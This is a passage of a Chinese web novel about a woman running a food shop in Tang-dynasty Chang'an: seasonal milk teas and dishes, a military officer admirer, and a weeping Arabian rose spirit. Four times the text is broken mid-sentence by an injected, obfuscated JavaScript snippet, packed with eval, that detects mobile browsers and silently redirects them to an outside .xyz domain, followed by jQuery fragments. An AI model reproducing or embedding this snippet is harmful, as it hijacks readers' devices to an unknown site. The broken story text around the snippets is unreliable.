红豆与槐花蜜一块熬煮出沙、夏季晾晒的老而红的南瓜与秋日板栗一起上锅蒸再压成泥，糯米粉搓成小圆子在牛乳里头煮...... 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617653|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大大的木牌挂到食肆门口，上写红豆花蜜奶茶、南瓜板栗白玉团、养颜玫瑰乳茶...... 当下就有两位头戴帷帽的长安仕女很是好奇地走进了食肆问道：“那奶茶，真的能养颜吗？” “当然了”段知微正忙着将红糖水与木薯粉一起搅拌，听到有客人赶紧走了出来道：“这奶茶中的红枣、桂圆、枸杞、玫瑰都是能滋养肌肤的，两位娘子岂不闻贵妃娘娘浴后都用上玫瑰花露，能使皮肤光洁润泽。” 两位仕女对望一眼，而后在食案坐下道：“那便来上一份养颜玫瑰乳茶。” “得嘞”段知微拎上一篮子的东西过来，先把碳炉架好，再放些茶叶与黄糖一起烤，激发茶叶香气，而后倒入牛乳、玫瑰等配料。 不消说味道了，这奶茶颜色呈现温暖焦糖色，上面浮一层鲜艳玫瑰花碎，霎是好看，便已然牵动了长安仕女的心，再饮上一口，牛乳细腻顺滑，茶叶因为烘烤过有焦香气息，甜味恰到好处，不会太甜腻也不会太寡淡。 当下涌入食肆喝这奶茶的人倒是多了起来，若有那排不上队或者不愿意等的，还可以用竹筒装上打包带走。 若只是如此，这段家食肆的奶茶倒还不至于出名到哪儿去，巧就巧在几位颇有闲情逸致的书生直接在这将碳炉陶罐并各色配料一起打包买走，跑曲江边上围炉赏雪去了。 此等风雅之事立刻引来世家子弟的效仿，段家食肆的陶罐都被卖空了一批。烧窑的肆铺见有商机立时也新烧上了一波儿陶罐，引得各家食肆争相疯抢。 段大娘对此极为气愤，恨不得跑那些模仿的食肆里与其狠狠理论上一番，被阿盘和段知微一人揪住一胳膊拦下。 食肆就这么些人，食案也就那么几个，若是让食客久等，反而不美，对食肆信誉也有影响，不如分些食客给别的食肆。 经过段知微一段苦劝，段大娘这才絮絮叨叨地停了脚步。 虽说别的食肆也推出了各种奶茶，架不住段知微脑子新，什么茉莉抹茶、桂花牛乳、玉竹雪莉、菊花黄芪不重复地出。 再加上段知微一张嘴在旁边大讲特讲这些奶茶的功效，润肺止渴、安神助眠、美容养颜，唬的食客一愣一愣的。 袁慎己最近因冬至之事忙得不行，一直没有空去食肆坐坐，不过“围炉赏雪”的风雅事他倒是下朝时听得众人谈起。 得知这新式奶茶出自段家食肆，他颇觉好笑，那位段家娘子甚是有趣，成日脑子里不知道都装了些什么新奇点子。 只是今日过晚，宵禁在即，实在是没有时间再去趟食肆了，他只能先回了家。 老管家早早给房间暖上地龙，他卸了甲，坐到食案前准备用暮食，却见老管家端着一个小炭炉和陶罐走了进来。 先将陶罐里放入茉莉花茶烘焙，加入黄糖，最后倒入末茶粉和牛乳。等待片刻，陶罐中便飘出丝丝缕缕茶香、奶香，萦绕在鼻尖。 老管家道：“宣阳坊的段娘子说，最近长安流行这奶茶，见都尉没有时间去食肆品尝，特意送了个食盒过来。” 袁慎己点点头，待老管家走了之后，他倒上一杯饮下。 其实他不喜甜食，但是他刚从冰天雪地回到家，这杯热奶茶，在寒冷的冬天确实给他带来了一丝温暖与慰藉。 就像那年在凉州城外，他躺于冰天雪地动弹不得，以为此生也就如此过去，但是一双轻柔的手拂去他脸上的霜雪。 38. 第三十八章 月朔之时，三五成群的乞儿组成了一队，精心装扮成灶公和灶婆的模样。他们手中拿着竹织之物，在热闹的坊市以及四品肆铺门庭附近，一边欢快地跳着灶王舞，一边向人们乞要钱物。 还有乞儿扮成神鬼、判官以及钟馗小妹，沿着宽阔的大街敲锣击鼓，声音震天，好不热闹。 蒲桃有些怕那些脸上涂抹粉墨的乞儿，特别是打扮成女鬼判的，四处窜着嗷嗷跳，你还在街边吃米糕呢，那女鬼畔就冷不丁跳到你面前乞讨铜钱，吓得人米糕都得噎在喉咙里。 想来是被最近各类妖怪的事搞得忧心忡忡，段大娘今日颇为大方，拿着一大个荷包，站在路边四处散钱，尤其是见到巨眼多髯的钟馗，更是双手合十地拜上几下。 段知微倚在食肆门口磕一回瓜子，再看一回热闹，扭头进了食肆。 腊八临近，想来是要熬煮腊八粥了，全长安的干果肆铺好像商量好了一样价格疯长，什么胡桃、松子、乳蕈、柿子、板栗，全部涨价，特别是红豆，由于“赤豆打鬼”的风俗，红小豆涨了十来个铜子儿。 段知微对腊八提不起什么兴致。其一，这腊八粥，再煮上了天，也还是那几种食材，那种味道，满长安的食肆都在熬煮腊八粥，段家食肆实在是没有什么竞争力；其二，各大佛寺腊八节一大早便会开门施粥，排队的香客们可绕山门两圈，这有免费的不去喝，跑你这食肆来花银钱喝啊？ 但话是这么说，本着对食肆信誉名声负责任的态度，段知微还是老老实实地认真着手准备腊八粥的熬煮。 红豆、绿豆、百合、莲子之类的干果放入水缸中浸泡，大米、粘黄米、红枣、核桃等反复洗了两三遍，确保没有沙石后放入砂锅中熬煮。 这砂锅也是段知微特意去订制的，不知为何，砂锅熬煮出来的粥就是比铁锅香，虽然嘴上说煮腊八粥赚不上什么银钱，这腊八粥段知微也很是费了些心思。 首先就是莲子的芽儿和红枣的核儿都提前去掉了，这样既不用担心在甜粥里吃到苦的芽心，也不用吃到红枣就吐核儿，长安仕女一定对这点很喜欢。 毕竟当众吐核儿也确实不太雅观。 熬煮过程中，段知微没有在粥里放糖，但是加了几大勺自制的桂花蜜，这样口感会更加清甜，还有淡淡的桂花香萦绕鼻尖。 只是熬煮时为了防止粥底焦掉，需要人不停搅拌，只能食肆几人轮流来。 将马勺交给阿盘以后，段知微甩了甩酸胀的胳膊，开始考虑腊八节其他的菜式。 她前两日在果肆见到了刚挖出来的新鲜冬笋，欢喜的不知如何是好，立刻就买了一大筐让果肆的伙计送过来,然后敲定了火腿煨冬笋这一吃食。 麻利剥笋滚刀切，冬笋不比春笋，不需焯水，切掉老根即可。猪油黄糖炒香火腿片和蹄髈，放到瓦罐火上扔几颗黄糖、姜片和葱结，倒满水。 瓦罐被火舌熏得油亮黢黑，里头的肉和笋胡乱交叠在里头，火腿色泽红润，纹理清晰，冬笋洁白如玉，笋肉饱满，看上去甚有食欲。 大火烧开以后小火再慢慢煨开，肉的油脂渐渐渗出，食肆里逐渐开始弥漫浓郁醇厚的肉香。 刚过晌午，食肆里还未来客，蒲桃在外跟小伙伴们疯跑着看跳灶王，回来已经是饥肠辘辘，刚踏入食肆就闻到浓郁的肉香，不禁肚子咕噜噜叫唤起来。 段知微拨一拨火，听见她的动静，忍俊不禁道：“既如此，那顺便来吃午食吧。” 蒲桃赶忙去给每人盛了一碗饭，再舀一勺汤拌上，火腿肉质紧实饱吸了汤汁，冬笋虽不如春笋鲜甜，但胜在肉厚爽脆，吸收了肉香以后，口感更加的丰富。 整个食肆没人说话，只默默吃了个痛快，蒲桃吃圆了肚子往羊皮褥子上一躺，大叹此乃人间仙境。 段知微默默看她一会儿，觉得小姑娘自夏至冬，整个人圆实了一圈儿，秋天还打不过肉肆的小郎君，如今已经可以把人压在身下打，酱色的冬衣紧紧勒在身上。 马上春节了，是该缝制新衣裳了，她想。 因着对火腿煨冬笋很有些信心，晌午过后段知微便跟阿盘忙着在坐井边洗冬笋，刮去火腿上熏黑的一层皮，为晚食早做准备。 蒲桃突然跑了进来道：“袁都尉来了。” “来了便来了吧，他有哪日不来的。”段知微忙着处理火腿，头也不抬。 “他带了一大块奇怪的肉过来。”蒲桃说。 这倒是有些新鲜，只有食客从食肆往外带吃食的，还头一回见有人从外带东西进来的，当下段知微胡乱用井水冲一下手，随意在敝膝上擦一擦，出门去迎他。 袁慎己手拎着一大块肉进来，他身形高大又健硕，拎着一块肉，远处一看还有些吓人，蒲桃紧紧跟在段知微后头，只敢露出个脑袋看他。 所幸他只是长得吓人，待人还是很知礼的：“多谢段娘子特意去送趟奶茶，某很欢喜，再加上冬至后又协助金吾卫抓到了妖怪，前日冬猎，某在终南山上猎到一头鹿，府中只有管家老仆几人，实在吃不掉，因而此鹿送来给段娘子用吧。” 说到上回那个雪女，也不知是不是受到了段知微的开导，雪女情郎也不找了，还真去了曲江边上，雪女生得貌美，真被她找了些英俊郎君一起饮酒寻欢作乐，别说自我了断了，简直就是乐不思蜀。 此妖被金吾卫发现的过程还特离奇，据说是因为有一郎君长得不如意，见她美艳，仍厚着脸皮邀其泛舟曲江之上，被羞恼的雪女一下冰冻住了双腿，据说现在还在医肆里躺着。 这轶事很快风靡了长安，特别是袁慎己带一队人前去曲江畔时，雪女还娇笑着邀他共饮，据现场目击者苏莯所说，那袁都尉的脸，比食肆铁锅的锅底还要黑上一圈，完事后特意找到正在写卷宗的苏莯，叮嘱他这段不能写进卷宗里。 而且袁慎己轻咳一声后，暗示他这段也不能在外乱说，尤其是在段家食肆里。 虽然苏莯几杯绿蚁酒两根羊肉串下了肚，没忍住全部朝着段知微和盘托出，导致食肆众人那段时间见到袁慎己就得憋笑。 段知微也能理解，堂堂四品都尉，被一妖女给撩了，确实不是什么荣耀的事情，虽然佐证了袁慎己的皮相确实不错，是被颜控雪女认证过的一等英俊容貌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629891|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这么一想段知微又忍不住想笑，她只好低下脑袋咽下笑意对袁慎己还礼道：“既如此，那便多谢都尉了，待这鹿肉打理好，妾分些给你。” 她憋得满面通红，又生得白净，倒也颇有些人面桃花的意味，袁慎己的视线扫过她粉嫩的面颊，白洁的额头，而后缓缓移开。 段知微见他移开目光，以为他是饿了，忙把他迎到一食案前道：“今日有火腿煨冬笋，果肆新挖的笋，可好吃了，都尉可愿来一份？” 袁慎己点点头，在段知微转身后叹上一口气。 今日食肆生意也很好，主要是火腿煨冬笋的浓郁香气都飘到食肆外头去了。段知微教会阿盘如何炖煮以后，就自己窝到火房，考虑怎么处理鹿肉。 她从未吃过鹿肉。 倒是有在《红楼梦》里中读到过，贾宝玉和史湘云得了一块野生鹿肉，老婆子们拿了铁炉、铁叉、铁丝蒙来，一群人在大观园里边烤鹿肉边饮酒，还要赏雪做诗，风雅得很。 只不过曹公也没写明，这贾府烤鹿肉，放不放胡椒孜然辣椒面啊？ 最后段知微决定改日买上些山核桃木来熏制鹿肉，熏制不仅能盖住鹿肉本来的膻味，而且还能储存很久。 令段知微意外的是，腊八粥竟然也卖得很好，许多老客瞅着段家食肆口碑不错，特意来订上一份，也有来饮酒吃饭的食客，因今日腊八，于是点上一份胡乱应个景儿。 再加上段知微这粥确实熬得很不错，里头莲子软糯、红豆绵密出沙、绿豆清爽，各种色彩交织，口味软糯清甜，于是到了宵禁前后，一大锅腊八粥竟然卖得只剩两三份。 这两三份估计卖不掉了，段知微只好存起来，准备明后日自己吃了当朝食，这边袁慎己来付火腿煨冬笋的钱，被段知微断然拒绝：“都尉送了那么贵重一鹿肉过来，怎好再收你的饭钱。” 她低头一看已经存入食盒的腊八粥道：“今日腊八，都尉再带上一份腊八粥回府吧，这粥熬得软糯适口，糖也放得不多，知道都尉不爱甜食，就当应个景儿。” 而后又有些不好意思：“不过今日佛寺肯定送了腊八粥到袁府了吧。” 长安的佛寺都是人精，世家大族、达官贵人那定然是都送了的，食材也定然用的比段家食肆好，不过她话没说完，袁慎己还是伸手接过那食盒道：“段娘子做的吃食岂能有差，袁某先谢过了。” 他策马回到府中，袁府一向冷冷清清，唯二的老仆都本着“非必要不出现的原则”，平日也见不到人。 袁慎己回了房，老管家进来道：“都尉可用暮食了？” 得到肯定回答后，老管家又道：“桃林寺送来一份腊八粥，都尉可要用些？” 袁慎己摆手，扭头拿起了段家食肆的食盒，请老管家前去热一热。 管家虽年迈，干活倒是麻利，很快一锅腊八粥复热好送了过来。 袁慎己正欲拿起调羹，见老管家站一边欲言又止，拧眉问道：“可有其他事宜？” 管家踌躇一会儿，拿出一封信：“这是汝南郡送过来的信。” 他的脸色蓦地阴沉下来。 39. 第三十九章 很快便就要过年了，段知微开始带领食肆众人里里外外打扫卫生，去庭户尘秽。 打上几桶干净井水，又在水中扔两颗澡豆，搓出泡沫来，把食案胡床等擦了几遍。 窗户上也重新糊上纱，铺在地上的羊皮褥子挂到后院晾晒，青砖地、红木柱子反复擦洗，墙上的旧诗也撤下来换上新一幅“闭门懒吃花猪肉，烧笋烹竹过一冬。” 长安难得放了晴，打扫完的食肆窗明几净，亮堂又舒爽，几张食案摆放整齐，墙壁上挂两幅简单的字画，甄回在柜台后噼啪算账，灶间小火煨着红亮诱人的荔枝肉，浓郁肉香从火房一直飘到前厅。 蒲桃吸一下鼻子问道：“今日这又是什么吃食？闻着好香。” 段知微忙着调酱汁，闻言笑道：“此菜名为荔枝肉。” 荔枝价贵，这荔枝肉跟岭南运到长安的荔枝没有半毛钱关系。只是听闻宫中贵妃极爱食用这荔枝，导致京中达官贵人也争相效仿疯抢，让本就不便宜的荔枝价格再创新高。 段知微选择做这道荔枝肉，佐不过也就是蹭个热度则个。 荔枝肉的做法并不复杂，但是较为考验刀工，肉面上要剞上长度相等的斜十字花刀，这样下锅旺火炸的时候肉才能缩成表面粗糙的荔枝球状。 食肆外的幌子上为了应景儿，已挂上了南北朝刘霁《咏荔枝诗》中两句“良由自远致，含滋不留齿。” 食客们也甚觉新鲜，荔枝可不是寻常百姓能买得起的东西，于是几乎每个踏进食肆的客人都要点上一份荔枝肉。 段知微特特选了仿白玉掐丝盘子配它，将肉炸到金黄酥脆，往盘子上一摆，裹上酸甜可口的红色浇汁，在白盘子的衬托下，倒也真颇有些真荔枝的意味。 这肉咬上一口外酥里嫩，鲜香肉汁和浓郁酸甜酱一起在口中绽放，味道倒是不错，就是不好就酒，但那也无妨，因为这菜真的很受欢迎。 望着一早上就脱销甚至还有人问能不能预订的荔枝肉，段知微突然就领悟到了蹭热度的重要性。 段大娘一大早就特意去了趟东市，想来是被各类妖怪客户折磨了一整年，难得大方了一回，买了最贵的那种新制桃符，这桃符长约三尺，上头绘着栩栩如生的神兽狻猊和白泽，下书两个门神郁垒、神荼和一些吉利的春词，已盼能驱鬼辟邪，纳吉平安。 段知微这么里里外外绕上一圈，食肆倒是窗明几净了，就是总觉得缺了些什么。 还是段大娘有经验：“不若去花肆买几盆窑花回来，看着舒爽，还能借点花的清香。” 段知微难得觉得自家姑母说的话有那么些道理。 冬末春初，各大花肆也开始发力，腊梅、水仙等时令花朵香色鲜浓，若是对时令鲜花不满意，那也没关系，牡丹、玉兰、碧桃等非时之花也能催发，只是价高而已。 段知微还未近花肆呢，远远就看到如叠堆云的各色鲜花在花肆里外铺得满满当当的。 为了使非时之花也能应季盛放，一般花肆都有个地窖，里头几个大锅煮沸热汤，用熏蒸之法催花盛放，只不过这样的话，整个花肆里头温度就高过了头，段知微带着蒲桃来买时令之花，刚进就差点被热气熏了出来。 花肆肆主正给花盆里埋上硫磺，见到客人立刻放下手中的活迎了过来殷勤道：“两位娘子喜欢什么样式的花，某这都有。” 满屋迎春开得极盛，一簇簇挂在枝头，一看就是用心催发，木架上摆着两盆极为显眼的牡丹，不愧是花中之王，此花硕大华贵，花瓣如丝绒般细腻，一看就不是凡品，段知微不禁打量了好几眼。 花肆肆主见状忙道：“此花名姚黄，自洛阳邙山运来长安，有‘花王’美誉，每逢春时斗花，姚黄卖得最好，长安仕女竞相追捧。” 段知微也很是喜欢，想到食肆赚得也不少，还寺庙的贷款也足够，不禁问道：“这花价值几何？” 肆主赔笑道：“原是要送到公主府的，这两盆品相不那么好，是挑剩下的，也没那么贵，只半贯钱也就是了。” 段知微立马道：“请给妾身拿三盆水仙，其他不用了，多谢。” 肆主：“......” 段知微生怕那肆主再推销什么价值半贯的窑花，吓得赶紧掏出荷包给钱，却见蒲桃一脸认真在欣赏一朵蔷薇花。 那花生得妖曳，芳香四溢，最重要的是，这花是一种纯净而深邃的蓝色，段知微怀疑这也应当是如现代那样，在外上一层喷砂之类的染色剂，不然活见鬼了，哪儿有蓝色的蔷薇花？ 没想到花肆肆主断然表达了反对，一脸被冒犯到的表情道：“这是胡商从大食运来的蔷薇，长于沙漠，天生就是蓝色的。” 段知微赶紧表达了歉意，而后赶紧扒拉蒲桃离开。 一盆品相不佳的姚黄尚且要半贯钱，这自阿拉伯运过来的稀有蓝蔷薇，不得费上一块金箔儿啊。 蒲桃有些念念不舍，却也知这花不是段家食肆能买得起的玩意，只好乖乖扭头准备走人，不想花肆肆主哈哈一笑道：“这小娘子看着讨喜伶俐，若是真心喜爱这花，某愿削价......” 未等他说完，段知微赶紧礼貌谢绝，这花削掉一半恐怕也是天价，并不是她们这种市井小民消费的起的，却见花肆肆主道：“三十文钱，某便割爱了。” 段知微疑心自己幻听：“三十文？难道不是三十贯吗？” 花肆肆主摆摆手：“某这花肆在这二十多年，诚信经营，说三十文铜钱，就三十文铜钱，绝不加价一分。” 段知微没有说话，她的脑子在飞速旋转。 虽说便宜没好货、天下没有白吃的午餐、天上不能掉馅饼......但这花实打实只要三十文，哪怕一夜之间便凋零了，那它也只要三十文。 于是段知微在经历过一番挣扎后，便笑着生受了，蒲桃开心地跑过去紧紧抱住那盆花。 两人拎着几盆花回食肆的时候，阿盘和段大娘正在准备年夜祀神的年糕，寻常人家做年糕无非是浸米、磨粉等九道工序，虽过程稍显繁琐，但毕竟是用来过年，整治些酒酿年糕汤果、苔条烙年糕都是极好的，因此也就无人计较了。 二人还在干活，蒲桃拎着那盆蓝色蔷薇跑到段大娘她们面前给她们看，段大娘大惊失色问道：“怎能买这么贵重的花回来？” 寺庙的香积还不还了？过年的新衣脂粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655756|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 添不添了？日子过不过了？ 当听说这花只要四十文后，立刻如释重负了起来，而后又仔细把前厅的博古架擦拭了两三遍，亲自把花放到最上面一层。 倒是阿盘从后院打帘进来，望那花一眼，冷静道：“胡商运到长安的商货一向昂贵，此花如此廉价，怕是有问题。” 段知微刚想说话，便被段大娘插嘴道：“凭它有何问题，左右不过三十文，这小钱丢了想必也费不到一场伤心，横竖还有盆花。” 话说得好听，只怕真丢了三十文钱，段大娘得忧愁的几夜睡不好。 还在柜台后“噼啪”打算盘的甄回由于冬至被雪女恐吓了一句，留下些许后遗症，看到地上的一片落叶都疑心是妖怪，因而心有余悸地问：“该不会是妖怪吧？” 听闻有种妖怪名唤花魄，如果一棵花树曾有三个人吊死，他们的冤苦之气就会凝结成这种妖怪。 众人听后不禁后背一凉，段知微半信半疑去看那盆蓝蔷薇，心下也产生了些怀疑，倒是段大娘呸呸两声：“马上过年了，能不能说些吉利的，再说了，新桃符已经换上了，什么邪魔恶鬼也闯不进这食肆里来。” 众人只得作罢。 因着那荔枝肉，来用暮食的客人不少，今日虽然天晴但也寒冷，点暖锅的人也不少，这菜品已经不仅是骨汤加生食涮食的火锅了，现在只要是瓦罐里煨的汤品，诸如火腿煨冬笋、羊肉炖萝卜，全部都放进暖锅中呈上来，这样食客可以放心聊家常而不担心汤品凉掉。 因甄回说的那番话，段知微心里总是打鼓，时不时就向那盆蔷薇看去，那花在架子上岿然不动。 食肆客人爆满，满屋热闹欢笑声赶走了一些她的不安，段知微觉得，一定是自己想多了。 她留了一盘子荔枝肉给下值的袁慎己，岂料这人今日没来，苏莯倒是很准时来报道，说是近两日袁都尉下了值都宿在官署不回府，而且心情似乎很不好，搞得他上值压力也很大，因此今日多要了两爵新丰酒，说是要好好松快松快。 段知微心生好奇，却也不好对四品大员打听太过，只好转身去给他打酒。 今日食肆格外忙碌，加上打年糕又是个繁琐活计，因此散了晚食后，众人胡乱用了些馎饦当晚饭便各自回房间睡了。 段知微今日有些心思存着，不小心往火盆多扔了两块碳，睡到一半便觉干渴，准备起身舀一碗水时听到前厅传来微弱的声响。 这声响袅袅，搞得她心里突然毛了起来，快年节了，不会是小偷吧，因此段知微赶紧点了蜡烛装进灯笼，悄悄往前厅走过去。 所幸今夜月华如霜，把整个前厅照得通明，并没有什么小偷。 只是在那红木制成的博古架子前，有一娘子蹲着在哭泣。 段知微看清了她的样子。 那娘子穿一身大食国的蓝色长袍，长袍之上是大片大片织锦金线的蔷薇，她戴着同色的蕾丝头纱，小麦色的肌肤微微泛着光泽，脸上蒙着白纱，只露出眉心一颗珍珠，一双潋滟美目像一对墨绿猫眼珠子。 但是段知微此刻无心欣赏美人垂泪。 她心想：“坏了，上那花肆肆主的当了。” 40. 第四十章 整个长安已然陷进宵禁的静谧夜色里，段家食肆却被迫重新亮起了灯，所有人都打着哈欠被迫坐到前厅里。 阿盘重新给火盆上了碳，段大娘一边对着段知微耳提面命“天上不能掉馅饼”的概念，一边大声嚷嚷明日定要到那订制桃符的肆铺退钱。 就好像白天振振有词说此花买得划算的人不是她。 段知微也颇觉不好意思，只得给每人熬上一碗浓茶，熏熏地喝下去，众人脸上这才恢复了一些精神。 那神秘又美丽的大食，也就是阿拉伯女郎跪坐在食案后头，哭诉道：“妾身海迪耶，跋山涉水跟着商队来到长安找人，竟不想被那歹人掠夺了去。” 来自大食的蓝色蔷薇，神秘又美丽，定然是世家子弟疯抢的对象，每逢夜半，海迪耶便会偷偷哭泣，那花了重金购置的世家以为闹了鬼，第二日便将其退回到了花肆肆主那儿。 夜半哭泣的蓝色蔷薇怪谈已经在达官贵人间流传，这花看来是要砸手里了，花肆肆主只觉做了一笔天大的亏本买卖，还抱怨起这些贵人危言耸听，听信谣言。 结果第二日夜半，花肆肆主还在地窖里熏蒸非时令之花，头顶便传来微弱哭泣声，如怨如慕，如泣如诉...... 花肆肆主决定找个冤大头把花送出去。 段知微自觉是做生意的一把好手，如今竟然栽在一个花肆肆主手中，气得一拍桌子道：“明日我定要去长安县官署找县尉告他一状！” 这不是害人吗！ 蔷薇花妖海迪耶仍在哀哀哭泣，段知微一时不知如何是好，这花妖似乎也没害过人，只好问她：“你以后打算怎么办？” 花妖海迪耶闻言抹把眼泪道：“我要找一个人，无论如何一定要找到。” 段知微被火盆新添的碳撩得口干舌燥，捧起粗瓷碗一边喝水一边问道：“娘子想找谁，说给我们听听，兴许我们认识呢。” 话是这么安慰的，但是段知微心想，煌煌长安，一百零八坊，世界各地、各色肤色的人都聚集在这里，想找个人哪儿有那么容易。 海迪耶想了想道：“是位英俊的冷面郎君，身高九尺左右，服绯色长袍，身佩一把寒刀”她补充道：“腰间挂的荷包绣着一只瑞狮.....妾身也只见过这位郎君一面，实在是不知去哪儿找他。” 段知微刚饮下的水呛在喉咙里，蒲桃赶紧过去帮她拍拍背。 这人她还真认识。不仅她认识，食肆众人也都认识，年幼的蒲桃第一个瞪圆眼睛道：“她说的这位郎君难道不是袁都尉吗？” 段大娘“啧啧”两声道：“老身活了这么多年，便知这世上郎君总是逃不过‘风流’二字。” 不愧是袁慎己，长安仕女喜欢就算了，就连大食来的蔷薇花妖都念念不忘，段知微心里莫名生出一丝不爽，见众人都盯着她瞧，也知留着一朵花妖实在不是什么明智之举。 她只好清了清嗓子道：“娘子说的这位郎君我认识，若你实在想见，我明日便带你去拜访一下好了。” 那花妖听闻总算停止了哭泣，直接冲了过来握住段知微的手道：“一定是安拉的保佑，让妾身遇见了您。” 她挨得段知微很近，身上浓郁的异香扑进段知微的鼻子里，一双猫眼儿似的绿眼睛，若不是花妖，这般美貌入大明宫也是没什么话说的。 袁慎己还真是好福气，段知微冷笑一声，决定不再给予这位四品大员各种优惠插队福利，去食肆外排着吧！ 第二日市坊刚开市，段知微便忙着热豆浆，卖上热腾腾的猪肉、荠菜馅的玉尖面。 这长安寒冷的冬日一早，行人走在路上多哈一口气都能吐出团团白雾，猛然一扭头看到一家食肆在卖热腾腾豆香浓郁的豆浆，蒸笼一掀开扑出大把热气，里头是码的整整齐齐的玉尖面，有肉有菜的，行人不觉就站到食肆外排队了。 而且这玉尖面都是提前包好的，不需在寒风里排多久，一会儿就能拿到，因此段家食肆的朝食外带一向卖的不错。 别的食肆也倒是想效仿来着，只那玉尖面的包法不得技巧，段知微颇有些得意，开什么玩笑，那包子褶儿如何捏得漂亮，她可是跟着早餐店的师傅学了好久的。 朝饭除了这外带的，也有可坐堂屋里吃的，但是每日都不一样，比如前些日子铁匠送来半扇羊腿，那朝食就吃羊汤馎饦，喝完一碗浑身便热了起来。 近日由于泾河河畔都结了冰霜，养鸭户急着脱手，段知微以及其划算的价格挑了几只肥美的鸭子，准备来做上一份鸭汤馄饨。 于是今日的汤底便是小火慢炖了一个时辰的鸭骨煨冬笋，为解油腻，还在汤里放了些腌渍的酸萝卜。 只是这需坐厅堂吃的朝食一向不如外带生意好，今儿却一反常态，整个食肆坐满了人，还有人在风口里巴巴等着。 虽然段知微自知手艺确实非常不错，但也知道今日堂屋里的食客，并不为着那一碗鸭汤馄饨，而是...... 段知微扭头一看，那位名唤海迪耶的花妖穿着那身镶嵌珍珠的华丽蓝袍，就坐在门口小胡床上巴巴地望着她，等着段知微把她带进袁府里头去。 花妖这个种群实在是生得美，深邃的五官，光泽的肤色。璀璨如宝石的眼睛。别说平常食客了，就连对街卖胡饼，一向对着段家食肆颇有敌意的肆铺老板厚着脸皮也凑过来排队。 段知微叹口气，非是自己有心拖延，只是早上一向忙，玉尖面除了自己无人会包，离不得人。再说了，这一大早袁慎己肯定上朝去了，也遇不到他啊。 今日属实失策，馄饨准备少了，只好让段大娘看着蒸笼，自己和蒲桃、阿盘三人现包。 这馄饨方儿也有讲究，须得严格一斤白面配三钱盐，四面要捏薄，段知微还会在馄饨片上薄洒一些绿豆粉，这样才不会粘捻，面皮吃着还有嚼劲。 那蓝衣美人期期艾艾过来小声说要帮忙，结果擀的馄饨皮儿歪七扭八，这般品相的馄饨定然不能再卖给客人了，段知微让蒲桃把这四处露馅的失败品拿到后院去。 扔了浪费，只得晚上自己当暮食吃掉了，结果蒲桃还未穿过厅堂，手上那盘失败的馄饨就被食客强烈要求买走了。 段知微：“......”这就是绝色美人的力量吗。 排队的队间也突然骚动了起来，段知微还忙着包馄饨呢，听到声音赶紧把粘了面粉的手在敝膝上胡乱擦擦，走了过去查看情况。 原是胡饼铺的老板前来排队，不知为何被他的夫人发觉到，二人在队伍里闹将起来。 段大娘幸灾乐祸跑过来对着段知微一顿邀功：“老身早看这卖胡饼的不爽了，特特跑去他家娘子那嚼了个舌根。” 段知微：“......”所幸这场闹剧没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680857|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出什么事，周围排队的其他食客倒像看了场傀儡戏，只当打发时间，不仅没有意见还颇为高兴，甚至在旁边说上几句风凉话煽风点火起来。 最后的结果以胡饼铺子的老板被夫人揪住耳朵拖回自己饼铺而告终。 真是一早上闹了个天翻地覆。 段知微决定不能再这么下去，加速包完手上的馄饨，把食肆事情交给了阿盘她们，自己去牵了驴车来，对着一脸期待望她的海迪耶道：“走走走，我这就把你送到袁府去。” 海迪耶高兴地跑上了车，想是不习惯做驴车，靠到段知微身后抱住她的腰，惹来众多食客一阵羡慕。 车子一路从宣阳坊驾到新昌坊，袁慎己果然不在家，只是老管家颇为热情，一定要把段知微迎进前厅，而后上了一份玉露团和酸酪招待她们。 老管家一顿忙活后又让段知微稍等片刻，自己马上就去官署喊都尉回来，段知微还想拦一下他，结果老管家虽然年纪大了，身手却挺好，一路小跑着就离开了。 段知微只好喊海迪耶坐下，而后开始吃那份看上去色泽白洁、油酥雕花的玉露团，不愧是官宦人家出来的点心，确实好吃，口感微甜，软糯香滑，嚼在嘴中还有一丝糯米香。 